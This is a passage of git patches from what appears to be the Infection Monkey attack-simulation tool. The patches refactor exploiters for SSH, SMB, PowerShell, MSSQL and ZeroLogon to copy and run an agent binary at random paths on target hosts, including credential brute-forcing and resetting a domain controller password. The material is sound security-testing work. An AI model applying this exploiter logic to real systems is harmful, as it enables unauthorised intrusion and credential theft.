test_helpers.py --- .../unit_tests/infection_monkey/exploit/tools/test_helpers.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_helpers.py b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_helpers.py index 00e44d2e4..2c1441961 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_helpers.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_helpers.py @@ -28,7 +28,7 @@ def test_get_agent_dest_path_randomness(): path1 = get_agent_dest_path(host, options) path2 = get_agent_dest_path(host, options) - assert not path1 == path2 + assert path1 != path2 def test_get_agent_dest_path_str_place(): From 7c504d220d3c0df54172712a190a3aa6350cc2d9 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Wed, 23 Mar 2022 13:11:54 +0000 Subject: [PATCH 0832/1110] Agent: Upload binary with random string when using powershell --- monkey/infection_monkey/exploit/powershell.py | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 1c496fc68..1c3536821 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -1,5 +1,6 @@ import logging import os +from pathlib import Path from typing import List, Optional from infection_monkey.exploit.HostExploiter import HostExploiter @@ -19,7 +20,7 @@ from infection_monkey.exploit.powershell_utils.powershell_client import ( IPowerShellClient, PowerShellClient, ) -from infection_monkey.exploit.tools.helpers import get_random_file_suffix +from infection_monkey.exploit.tools.helpers import get_agent_dest_path, get_random_file_suffix from infection_monkey.model import DROPPER_ARG, RUN_MONKEY, VictimHost from infection_monkey.utils.commands import build_monkey_commandline from infection_monkey.utils.environment import is_windows_os @@ -170,7 +171,7 @@ class PowerShellExploiter(HostExploiter): raise ValueError(f"Unknown secret type {credentials.secret_type}") def _execute_monkey_agent_on_victim(self): - monkey_path_on_victim = self.options["dropper_target_path_win_64"] + monkey_path_on_victim = get_agent_dest_path(self.host, self.options) self._copy_monkey_binary_to_victim(monkey_path_on_victim) logger.info("Successfully copied the monkey binary to the victim.") @@ -182,7 +183,7 @@ class PowerShellExploiter(HostExploiter): f"Failed to execute the agent binary on the victim: {ex}" ) - def _copy_monkey_binary_to_victim(self, monkey_path_on_victim): + def _copy_monkey_binary_to_victim(self, monkey_path_on_victim: Path): temp_monkey_binary_filepath = f"monkey_temp_bin_{get_random_file_suffix()}" @@ -190,7 +191,7 @@ class PowerShellExploiter(HostExploiter): try: logger.info(f"Attempting to copy the monkey agent binary to {self.host.ip_addr}") - self._client.copy_file(temp_monkey_binary_filepath, monkey_path_on_victim) + self._client.copy_file(temp_monkey_binary_filepath, str(monkey_path_on_victim)) except Exception as ex: raise RemoteAgentCopyError(f"Failed to copy the agent binary to the victim: {ex}") finally: From 18e3dd7c914fecee6dfb38ba69f6ac9f5ee13c5c Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Wed, 23 Mar 2022 15:14:23 +0000 Subject: [PATCH 0833/1110] Agent: Convert destination path to string in SMB exploiter --- monkey/infection_monkey/exploit/smbexec.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index 109771bd4..836573e4b 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -32,7 +32,7 @@ class SMBExploiter(HostExploiter): def _exploit_host(self): agent_binary = self.agent_repository.get_agent_binary(self.host.os["type"]) - dest_path = get_agent_dest_path(self.host, self.options) + dest_path = str(get_agent_dest_path(self.host, self.options)) creds = generate_brute_force_combinations(self.options["credentials"]) for user, password, lm_hash, ntlm_hash in interruptible_iter(creds, self.interrupt): From 7001977a884873c86478198d994421274e54e413 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Wed, 23 Mar 2022 15:24:36 +0000 Subject: [PATCH 0834/1110] Agent: Change powershell client to work with Path not str --- monkey/infection_monkey/exploit/powershell.py | 2 +- .../exploit/powershell_utils/powershell_client.py | 6 ++++-- 2 files changed, 5 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 1c3536821..12974aae5 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -191,7 +191,7 @@ class PowerShellExploiter(HostExploiter): try: logger.info(f"Attempting to copy the monkey agent binary to {self.host.ip_addr}") - self._client.copy_file(temp_monkey_binary_filepath, str(monkey_path_on_victim)) + self._client.copy_file(temp_monkey_binary_filepath, monkey_path_on_victim) except Exception as ex: raise RemoteAgentCopyError(f"Failed to copy the agent binary to the victim: {ex}") finally: diff --git a/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py b/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py index c0ae8b260..b1fa000c7 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py +++ b/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py @@ -1,5 +1,6 @@ import abc import logging +from pathlib import Path from typing import Optional import pypsrp @@ -63,7 +64,7 @@ class IPowerShellClient(Protocol, metaclass=abc.ABCMeta): pass @abc.abstractmethod - def copy_file(self, src: str, dest: str) -> bool: + def copy_file(self, src: str, dest: Path) -> bool: pass @abc.abstractmethod @@ -101,7 +102,8 @@ class PowerShellClient(IPowerShellClient): output, _, _ = self._client.execute_cmd(cmd) return output - def copy_file(self, src: str, dest: str): + def copy_file(self, src: str, dest: Path): + dest = str(dest) try: self._client.copy(src, dest) logger.debug(f"Successfully copied {src} to {dest} on {self._ip_addr}") From 56bdcbedddfd3f619fbe70f8a5cba45890f06b5a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 23 Mar 2022 11:09:01 -0400 Subject: [PATCH 0835/1110] Agent: Pull paramiko from specific tag Co-authored-by: vakarisz --- monkey/infection_monkey/Pipfile | 2 +- monkey/infection_monkey/Pipfile.lock | 41 ++++++++++++++-------------- 2 files changed, 22 insertions(+), 21 deletions(-) diff --git a/monkey/infection_monkey/Pipfile b/monkey/infection_monkey/Pipfile index eadb6baf9..b0c607f34 100644 --- a/monkey/infection_monkey/Pipfile +++ b/monkey/infection_monkey/Pipfile @@ -9,7 +9,6 @@ impacket = ">=0.9" ipaddress = ">=1.0.23" netifaces = ">=0.10.9" odict = "==1.7.0" -paramiko = {git = "https://github.com/VakarisZ/paramiko"} # Change to official once https://github.com/paramiko/paramiko/issues/2009 is closed psutil = ">=5.7.0" pymssql = "==2.1.5" pypykatz = "==0.5.2" @@ -24,6 +23,7 @@ ldaptor = "*" pywin32-ctypes = {version = "*", sys_platform = "== 'win32'"} # Pyinstaller requirement on windows pywin32 = {version = "*", sys_platform = "== 'win32'"} # Lock file is not created with sys_platform win32 requirement if not explicitly specified pefile = {version = "*", sys_platform = "== 'win32'"} # Pyinstaller requirement on windows +paramiko = {editable = true, ref = "2.10.3-monkey1", git = "https://github.com/VakarisZ/paramiko.git"} [dev-packages] ldap3 = "*" diff --git a/monkey/infection_monkey/Pipfile.lock b/monkey/infection_monkey/Pipfile.lock index f34b83c54..01aad96ab 100644 --- a/monkey/infection_monkey/Pipfile.lock +++ b/monkey/infection_monkey/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "acfd36df6c248eda0986bf842692078f3743788f7ff23fb7bef2ecd5f88c5ce5" + "sha256": "e399688bee7b520f375ec0100271363055e13e0d8e1895011e988a8aa2a111ee" }, "pipfile-spec": 6, "requires": { @@ -29,7 +29,7 @@ "sha256:6cd7f64ef002a7c6d7c27310db578fbc8992eeaca0936ebc56283d70c54573f2", "sha256:a191c039f9c0c1681e8fc3a3ce26c56e8026930624932106d7a1526d96c008dd" ], - "markers": "python_full_version >= '3.6.0'", + "markers": "python_version >= '3.6'", "version": "==0.0.7" }, "altgraph": { @@ -51,7 +51,7 @@ "sha256:23d5fcfae71a75826c3ed787bd9b1bc3b189ec37658961bce83c9e99455e354c", "sha256:731eda25d41783c5243153d3cb4f9357fef337c7317135488afab9ecd6b7f1a1" ], - "markers": "python_full_version >= '3.6.0'", + "markers": "python_version >= '3.6'", "version": "==0.1.7" }, "attrs": { @@ -82,7 +82,7 @@ "sha256:cd1ea2ff3038509ea95f687256c46b79f5fc382ad0aa3664d200047546d511d1", "sha256:cdcdcb3972027f83fe24a48b1e90ea4b584d35f1cc279d76de6fc4b13376239d" ], - "markers": "python_full_version >= '3.6.0'", + "markers": "python_version >= '3.6'", "version": "==3.2.0" }, "certifi": { @@ -168,7 +168,7 @@ "sha256:6a7a62563bbfabfda3a38f3023a1db4a35978c0abd76f6c9605ecd6554d6d9b1", "sha256:8458d7b1287c5fb128c90e23381cf99dcde74beaf6c7ff6384ce84d6fe090adb" ], - "markers": "python_full_version >= '3.6.0'", + "markers": "python_version >= '3.6'", "version": "==8.0.4" }, "colorama": { @@ -209,7 +209,7 @@ "sha256:ec6597aa85ce03f3e507566b8bcdf9da2227ec86c4266bd5e6ab4d9e0cc8dab2", "sha256:f64b232348ee82f13aac22856515ce0195837f6968aeaa94a3d0353ea2ec06a6" ], - "markers": "python_full_version >= '3.6.0'", + "markers": "python_version >= '3.6'", "version": "==36.0.2" }, "dnspython": { @@ -217,7 +217,7 @@ "sha256:0f7569a4a6ff151958b64304071d370daa3243d15941a7beedf0c9fe5105603e", "sha256:a851e51367fb93e9e1361732c1d60dab63eff98712e503ea7d92e6eccb109b4f" ], - "markers": "python_version < '4' and python_full_version >= '3.6.0'", + "markers": "python_version >= '3.6' and python_version < '4'", "version": "==2.2.1" }, "flask": { @@ -225,7 +225,7 @@ "sha256:59da8a3170004800a2837844bfa84d49b022550616070f7cb1a659682b2e7c9f", "sha256:e1120c228ca2f553b470df4a5fa927ab66258467526069981b3eb0a91902687d" ], - "markers": "python_full_version >= '3.6.0'", + "markers": "python_version >= '3.6'", "version": "==2.0.3" }, "future": { @@ -293,7 +293,7 @@ "sha256:077ce6014f7b40d03b47d1f1ca4b0fc8328a692bd284016f806ed0eaca390ad8", "sha256:611bb273cd68f3b993fabdc4064fc858c5b47a973cb5aa7999ec1ba405c87cd7" ], - "markers": "python_full_version >= '3.6.0'", + "markers": "python_version >= '3.6'", "version": "==3.0.3" }, "ldap3": { @@ -373,7 +373,7 @@ "sha256:6a9d2152f76ae633c609e09b48b42f55bd5a6b65f920dbbec756e5d9134a6201", "sha256:83d612afb6c57727ebf38aca433b550f83f9f8c7c3b6562ad2ab97071fd85f3a" ], - "markers": "python_full_version >= '3.6.0'", + "markers": "python_version >= '3.6'", "version": "==0.0.21" }, "minikerberos": { @@ -381,7 +381,7 @@ "sha256:e5b9ae09b5f86baf6c3fd4a71e4078390ace1e616e7d44e57211e482eea20589", "sha256:efccdb8ad3b2637ab80287bb423ab4e61fb7b1250e9e2e2a8edcbbd76d2cbc76" ], - "markers": "python_full_version >= '3.6.0'", + "markers": "python_version >= '3.6'", "version": "==0.2.18" }, "msldap": { @@ -443,8 +443,9 @@ "version": "==1.3.0" }, "paramiko": { - "git": "https://github.com/VakarisZ/paramiko", - "ref": "c1b9a9c069294a2060be74677d9b42f30b7aa434" + "editable": true, + "git": "https://github.com/VakarisZ/paramiko.git", + "ref": "e0ebc028511c36ba79a15396ae55080e657aa240" }, "passlib": { "hashes": [ @@ -657,7 +658,7 @@ "sha256:a422368fc821589c228f4c49438a368831cb5bbc0eab5ebe1d7fac9dded6567b", "sha256:e46dae94e34b085175f8abb3b0aaa7da40767865ac82c928eeb9e57e1ea8a543" ], - "markers": "python_full_version >= '3.6.0'", + "markers": "python_version >= '3.6'", "version": "==1.5.0" }, "pyopenssl": { @@ -665,7 +666,7 @@ "sha256:660b1b1425aac4a1bea1d94168a85d99f0b3144c869dd4390d27629d0087f1bf", "sha256:ea252b38c87425b64116f808355e8da644ef9b07e429398bfece610f893ee2e0" ], - "markers": "python_full_version >= '3.6.0'", + "markers": "python_version >= '3.6'", "version": "==22.0.0" }, "pyparsing": { @@ -673,7 +674,7 @@ "sha256:18ee9022775d270c55187733956460083db60b37d0d0fb357445f3094eed3eea", "sha256:a6c06a88f252e6c322f65faf8f418b16213b51bdfaece0524c1c1bc30c63c484" ], - "markers": "python_full_version >= '3.6.0'", + "markers": "python_version >= '3.6'", "version": "==3.0.7" }, "pypsrp": { @@ -714,7 +715,7 @@ "sha256:f05f1a6316a9baeaef243c9420d995c3dc34cfc91841f17db0c793e3fe557728", "sha256:fe8b2a0d7468d904c61ae63275f8234eb055767aaaba66f6d58d86f47a25aa8e" ], - "markers": "python_full_version >= '3.6.0'", + "markers": "python_version >= '3.6'", "version": "==0.5.1" }, "pywin32": { @@ -841,7 +842,7 @@ "sha256:1421ebfc7648a39a5c58c601b154165d05cf47a3cd0ccb70857cbdacf6c8f2b8", "sha256:b863f8ff057c522164b6067c9e28b041161b4be5ba4d0daceeaa50a163822d3c" ], - "markers": "python_full_version >= '3.6.0'", + "markers": "python_version >= '3.6'", "version": "==2.0.3" }, "winacl": { @@ -849,7 +850,7 @@ "sha256:187b4394ef247806f50e1d8320bdb9e33ad1f759d9e61e2e391b97b9adf5f58a", "sha256:949a66b0f46015c8cf8d9c1bfdb3a5174e70c28ae1b096eb778bc2983ea7ce50" ], - "markers": "python_full_version >= '3.6.0'", + "markers": "python_version >= '3.6'", "version": "==0.1.2" }, "winsspi": { @@ -857,7 +858,7 @@ "sha256:a2ad9c0f6d70f6e0e0d1f54b8582054c62d8a09f346b5ccaf55da68628ca10e1", "sha256:a64624a25fc2d3663a2c5376c5291f3c7531e9c8051571de9ca9db8bf25746c2" ], - "markers": "python_full_version >= '3.6.0'", + "markers": "python_version >= '3.6'", "version": "==0.0.9" }, "winsys-3.x": { From 1e285993984b06347d1888f3d3cd39c3f38db793 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 22 Mar 2022 18:31:47 +0100 Subject: [PATCH 0836/1110] Agent: Make ZeroLogon interruptibale --- monkey/infection_monkey/exploit/zerologon.py | 16 ++++++++++++---- .../exploit/zerologon_utils/remote_shell.py | 3 --- .../exploit/zerologon_utils/vuln_assessment.py | 5 ++++- 3 files changed, 16 insertions(+), 8 deletions(-) diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 88722ecec..8fe9cb52b 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -15,6 +15,7 @@ import impacket from impacket.dcerpc.v5 import epm, nrpc, rpcrt, transport from impacket.dcerpc.v5.dtypes import NULL +from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT from infection_monkey.credential_collectors import LMHash, NTHash, Username from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.tools.wmi_tools import WmiTools @@ -26,6 +27,7 @@ from infection_monkey.i_puppet import ExploiterResultData from infection_monkey.i_puppet.credential_collection import Credentials from infection_monkey.telemetry.credentials_telem import CredentialsTelem from infection_monkey.utils.capture_output import StdoutCapture +from infection_monkey.utils.threading import interruptible_iter logger = logging.getLogger(__name__) @@ -51,9 +53,12 @@ class ZerologonExploiter(HostExploiter): can_exploit, rpc_con = is_exploitable(self) if can_exploit: - self.exploit_result.exploitation_success = True logger.info("Target vulnerable, changing account password to empty string.") + if self._is_interrupted(): + self._set_interrupted() + return self.exploit_result + # Start exploiting attempts. logger.debug("Attempting exploit.") _exploited = self._send_exploit_rpc_login_requests(rpc_con) @@ -73,11 +78,12 @@ class ZerologonExploiter(HostExploiter): self.exploit_result.exploitation_success = _exploited if self.restore_password(): self.exploit_info["password_restored"] = True - self.store_extracted_creds_for_exploitation() logger.info("System exploited and password restored successfully.") else: self.exploit_info["password_restored"] = False logger.info("System exploited but couldn't restore password!") + + self.store_extracted_creds_for_exploitation() else: logger.info("System was not exploited.") @@ -87,12 +93,13 @@ class ZerologonExploiter(HostExploiter): def connect_to_dc(dc_ip) -> object: binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp") rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() + rpc_con.set_connect_timeout(LONG_REQUEST_TIMEOUT) rpc_con.connect() rpc_con.bind(nrpc.MSRPC_UUID_NRPC) return rpc_con def _send_exploit_rpc_login_requests(self, rpc_con) -> bool: - for _ in range(0, self.MAX_ATTEMPTS): + for _ in interruptible_iter(range(0, self.MAX_ATTEMPTS), self.interrupt): exploit_attempt_result = self.try_exploit_attempt(rpc_con) is_exploited = self.assess_exploit_attempt_result(exploit_attempt_result) @@ -164,6 +171,7 @@ class ZerologonExploiter(HostExploiter): # Use above extracted credentials to get original DC password's hashes. logger.debug("Getting original DC password's NT hash.") original_pwd_nthash = None + # TODO: start timer for user_details in user_creds: username = user_details[0] user_pwd_hashes = [ @@ -366,7 +374,7 @@ class ZerologonExploiter(HostExploiter): logger.info(f"Exception occurred while removing file {path} from system: {str(e)}") def _send_restoration_rpc_login_requests(self, rpc_con, original_pwd_nthash) -> bool: - for _ in range(0, self.MAX_ATTEMPTS): + for _ in interruptible_iter(range(0, self.MAX_ATTEMPTS), self.interrupt): restoration_attempt_result = self.try_restoration_attempt(rpc_con, original_pwd_nthash) is_restored = self.assess_restoration_attempt_result(restoration_attempt_result) diff --git a/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py b/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py index 4d3de85bc..4b36ed64b 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py @@ -70,10 +70,7 @@ class RemoteShell(cmd.Cmd): self.__noOutput = False self.__secrets_dir = secrets_dir - # We don't wanna deal with timeouts from now on. - # TODO are we sure we don't need timeout anymore? if self.__transferClient is not None: - self.__transferClient.setTimeout(100000) self.do_cd("\\") else: self.__noOutput = True diff --git a/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py b/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py index 4d86fb412..5ba40f7c8 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py @@ -6,6 +6,7 @@ from impacket.dcerpc.v5 import nrpc, rpcrt from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT from common.utils.exceptions import DomainControllerNameFetchError +from infection_monkey.utils.threading import interruptible_iter logger = logging.getLogger(__name__) @@ -43,7 +44,9 @@ def is_exploitable(zerologon_exploiter_object) -> (bool, Optional[rpcrt.DCERPC_v return False, None # Try authenticating. - for _ in range(0, zerologon_exploiter_object.MAX_ATTEMPTS): + for _ in interruptible_iter( + range(0, zerologon_exploiter_object.MAX_ATTEMPTS), zerologon_exploiter_object.interrupt + ): try: rpc_con_auth_result = _try_zero_authenticate(zerologon_exploiter_object, rpc_con) if rpc_con_auth_result is not None: From d3fc8338137fd35cc8aed601180818b9c8cd4a56 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 23 Mar 2022 14:25:28 -0400 Subject: [PATCH 0837/1110] Agent: Use Paths in IPowerShellClient.copy_file() --- monkey/infection_monkey/exploit/powershell.py | 7 +++---- .../exploit/powershell_utils/powershell_client.py | 7 +++---- 2 files changed, 6 insertions(+), 8 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 12974aae5..8bdf7e571 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -1,5 +1,4 @@ import logging -import os from pathlib import Path from typing import List, Optional @@ -185,7 +184,7 @@ class PowerShellExploiter(HostExploiter): def _copy_monkey_binary_to_victim(self, monkey_path_on_victim: Path): - temp_monkey_binary_filepath = f"monkey_temp_bin_{get_random_file_suffix()}" + temp_monkey_binary_filepath = Path(f"./monkey_temp_bin_{get_random_file_suffix()}") self._create_local_agent_file(temp_monkey_binary_filepath) @@ -195,8 +194,8 @@ class PowerShellExploiter(HostExploiter): except Exception as ex: raise RemoteAgentCopyError(f"Failed to copy the agent binary to the victim: {ex}") finally: - if os.path.isfile(temp_monkey_binary_filepath): - os.remove(temp_monkey_binary_filepath) + if temp_monkey_binary_filepath.is_file(): + temp_monkey_binary_filepath.unlink() def _create_local_agent_file(self, binary_path): agent_binary_bytes = self.agent_repository.get_agent_binary("windows") diff --git a/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py b/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py index b1fa000c7..70e82bb66 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py +++ b/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py @@ -64,7 +64,7 @@ class IPowerShellClient(Protocol, metaclass=abc.ABCMeta): pass @abc.abstractmethod - def copy_file(self, src: str, dest: Path) -> bool: + def copy_file(self, src: Path, dest: Path) -> bool: pass @abc.abstractmethod @@ -102,10 +102,9 @@ class PowerShellClient(IPowerShellClient): output, _, _ = self._client.execute_cmd(cmd) return output - def copy_file(self, src: str, dest: Path): - dest = str(dest) + def copy_file(self, src: Path, dest: Path): try: - self._client.copy(src, dest) + self._client.copy(str(src), str(dest)) logger.debug(f"Successfully copied {src} to {dest} on {self._ip_addr}") except Exception as ex: logger.error(f"Failed to copy {src} to {dest} on {self._ip_addr}: {ex}") From 99b8321271a84a16f55963ffea1a96c9f81ccb85 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 23 Mar 2022 14:32:08 -0400 Subject: [PATCH 0838/1110] Tests: Fix broken PowerShellExploiter tests --- .../unit_tests/infection_monkey/exploit/test_powershell.py | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py index 21a0bdeb3..c88ce99d7 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py @@ -26,6 +26,9 @@ class AuthenticationErrorForTests(Exception): mock_agent_repository = MagicMock() mock_agent_repository.get_agent_binary.return_value = BytesIO(b"BINARY_EXECUTABLE") +victim_host = VictimHost("127.0.0.1") +victim_host.os["type"] = "windows" + @pytest.fixture def powershell_arguments(): @@ -39,7 +42,7 @@ def powershell_arguments(): }, } arguments = { - "host": VictimHost("127.0.0.1"), + "host": victim_host, "options": options, "current_depth": 2, "telemetry_messenger": MagicMock(), @@ -141,7 +144,7 @@ def test_successful_copy(monkeypatch, powershell_exploiter, powershell_arguments exploit_result = powershell_exploiter.exploit_host(**powershell_arguments) - assert DROPPER_TARGET_PATH_64 in mock_client.return_value.copy_file.call_args[0][1] + assert DROPPER_TARGET_PATH_64 in str(mock_client.return_value.copy_file.call_args[0][1]) assert exploit_result.exploitation_success From cad5fa489789528e5076e5aba9cc905a45e4df2b Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 23 Mar 2022 16:35:54 +0100 Subject: [PATCH 0839/1110] Agent: Use random binary destination path for SSH Exploit --- monkey/infection_monkey/exploit/sshexec.py | 22 ++++++++++++------- .../telemetry/attack/t1105_telem.py | 8 +++++-- .../telemetry/attack/test_t1105_telem.py | 4 +++- 3 files changed, 23 insertions(+), 11 deletions(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 5f823b211..7d0955ffb 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -1,5 +1,6 @@ import io import logging +from pathlib import Path import paramiko @@ -7,6 +8,7 @@ from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_T from common.utils.attack_utils import ScanStatus from common.utils.exceptions import FailedExploitationError from infection_monkey.exploit.HostExploiter import HostExploiter +from infection_monkey.exploit.tools.helpers import get_agent_dest_path from infection_monkey.i_puppet import ExploiterResultData from infection_monkey.model import MONKEY_ARG from infection_monkey.network.tools import check_tcp_port, get_interface_to_target @@ -204,15 +206,17 @@ class SSHExploiter(HostExploiter): self._set_interrupted() return self.exploit_result + monkey_path_on_victim = get_agent_dest_path(self.host, self.options) + try: with ssh.open_sftp() as ftp: ftp.putfo( agent_binary_file_object, - self.options["dropper_target_path_linux"], + str(monkey_path_on_victim), file_size=len(agent_binary_file_object.getbuffer()), callback=self.log_transfer, ) - self._set_executable_bit_on_agent_binary(ftp) + self._set_executable_bit_on_agent_binary(ftp, monkey_path_on_victim) status = ScanStatus.USED except Exception as exc: @@ -227,21 +231,21 @@ class SSHExploiter(HostExploiter): status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, - self.options["dropper_target_path_linux"], + monkey_path_on_victim, ) ) if status == ScanStatus.SCANNED: return self.exploit_result try: - cmdline = "%s %s" % (self.options["dropper_target_path_linux"], MONKEY_ARG) + cmdline = f"{monkey_path_on_victim} {MONKEY_ARG}" cmdline += build_monkey_commandline(self.host, self.current_depth - 1) cmdline += " > /dev/null 2>&1 &" ssh.exec_command(cmdline, timeout=SSH_EXEC_TIMEOUT) logger.info( "Executed monkey '%s' on remote victim %r (cmdline=%r)", - self.options["dropper_target_path_linux"], + monkey_path_on_victim, self.host, cmdline, ) @@ -260,12 +264,14 @@ class SSHExploiter(HostExploiter): logger.error(self.exploit_result.error_message) return self.exploit_result - def _set_executable_bit_on_agent_binary(self, ftp: paramiko.sftp_client.SFTPClient): - ftp.chmod(self.options["dropper_target_path_linux"], 0o700) + def _set_executable_bit_on_agent_binary( + self, ftp: paramiko.sftp_client.SFTPClient, monkey_path_on_victim: Path + ): + ftp.chmod(str(monkey_path_on_victim), 0o700) self.telemetry_messenger.send_telemetry( T1222Telem( ScanStatus.USED, - "chmod 0700 %s" % self.options["dropper_target_path_linux"], + "chmod 0700 {monkey_path_on_victim}", self.host, ) ) diff --git a/monkey/infection_monkey/telemetry/attack/t1105_telem.py b/monkey/infection_monkey/telemetry/attack/t1105_telem.py index 939e2b3e2..a3745a59f 100644 --- a/monkey/infection_monkey/telemetry/attack/t1105_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1105_telem.py @@ -1,8 +1,12 @@ +from pathlib import Path +from typing import Union + +from common.utils.attack_utils import ScanStatus from infection_monkey.telemetry.attack.victim_host_telem import AttackTelem class T1105Telem(AttackTelem): - def __init__(self, status, src, dst, filename): + def __init__(self, status: ScanStatus, src: str, dst: str, filename: Union[Path, str]): """ T1105 telemetry. :param status: ScanStatus of technique @@ -11,7 +15,7 @@ class T1105Telem(AttackTelem): :param filename: Uploaded file's name """ super(T1105Telem, self).__init__("T1105", status) - self.filename = filename + self.filename = str(filename) self.src = src self.dst = dst diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1105_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1105_telem.py index 690c4508c..6cfe82a80 100644 --- a/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1105_telem.py +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1105_telem.py @@ -1,4 +1,5 @@ import json +from pathlib import Path import pytest @@ -16,7 +17,8 @@ def T1105_telem_test_instance(): return T1105Telem(STATUS, SRC_IP, DST_IP, FILENAME) -def test_T1105_send(T1105_telem_test_instance, spy_send_telemetry): +@pytest.mark.parametrize("filename", [Path(FILENAME), FILENAME]) +def test_T1105_send(T1105_telem_test_instance, spy_send_telemetry, filename): T1105_telem_test_instance.send() expected_data = { "status": STATUS.value, From 51cfb73ce062980bf5ebf72fc3370304b667628e Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 23 Mar 2022 17:21:53 +0100 Subject: [PATCH 0840/1110] Agent: User random binary destination path for MSSQL Exploit --- monkey/infection_monkey/exploit/mssqlexec.py | 40 ++++++++++---------- 1 file changed, 21 insertions(+), 19 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index dbbc265f2..fb2b6f46e 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -1,5 +1,6 @@ import logging import os +from pathlib import Path from time import sleep import pymssql @@ -59,6 +60,8 @@ class MSSQLExploiter(HostExploiter): Also, don't forget to start_monkey_server() before self.upload_monkey() and self.stop_monkey_server() after """ + monkey_path_on_victim = get_agent_dest_path(self.host, self.options) + # Brute force to get connection creds = generate_identity_secret_pairs( self.options["credentials"]["exploit_user_list"], @@ -82,14 +85,14 @@ class MSSQLExploiter(HostExploiter): self.create_temp_dir() self.create_empty_payload_file() - http_thread = self.start_monkey_server() - self.upload_monkey() + http_thread = self.start_monkey_server(monkey_path_on_victim) + self.upload_monkey(monkey_path_on_victim) MSSQLExploiter._stop_monkey_server(http_thread) # Clear payload to pass in another command self.create_empty_payload_file() - self.run_monkey() + self.run_monkey(monkey_path_on_victim) self.remove_temp_dir() except Exception as e: @@ -129,8 +132,8 @@ class MSSQLExploiter(HostExploiter): raise Exception("Couldn't execute MSSQL exploiter because payload was too long") self.run_mssql_commands(array_of_commands) - def run_monkey(self): - monkey_launch_command = self.get_monkey_launch_command() + def run_monkey(self, monkey_path_on_victim: Path): + monkey_launch_command = self.get_monkey_launch_command(monkey_path_on_victim) self.run_mssql_command(monkey_launch_command) self.run_payload_file() @@ -139,8 +142,8 @@ class MSSQLExploiter(HostExploiter): self.cursor.execute(cmd) sleep(MSSQLExploiter.QUERY_BUFFER) - def 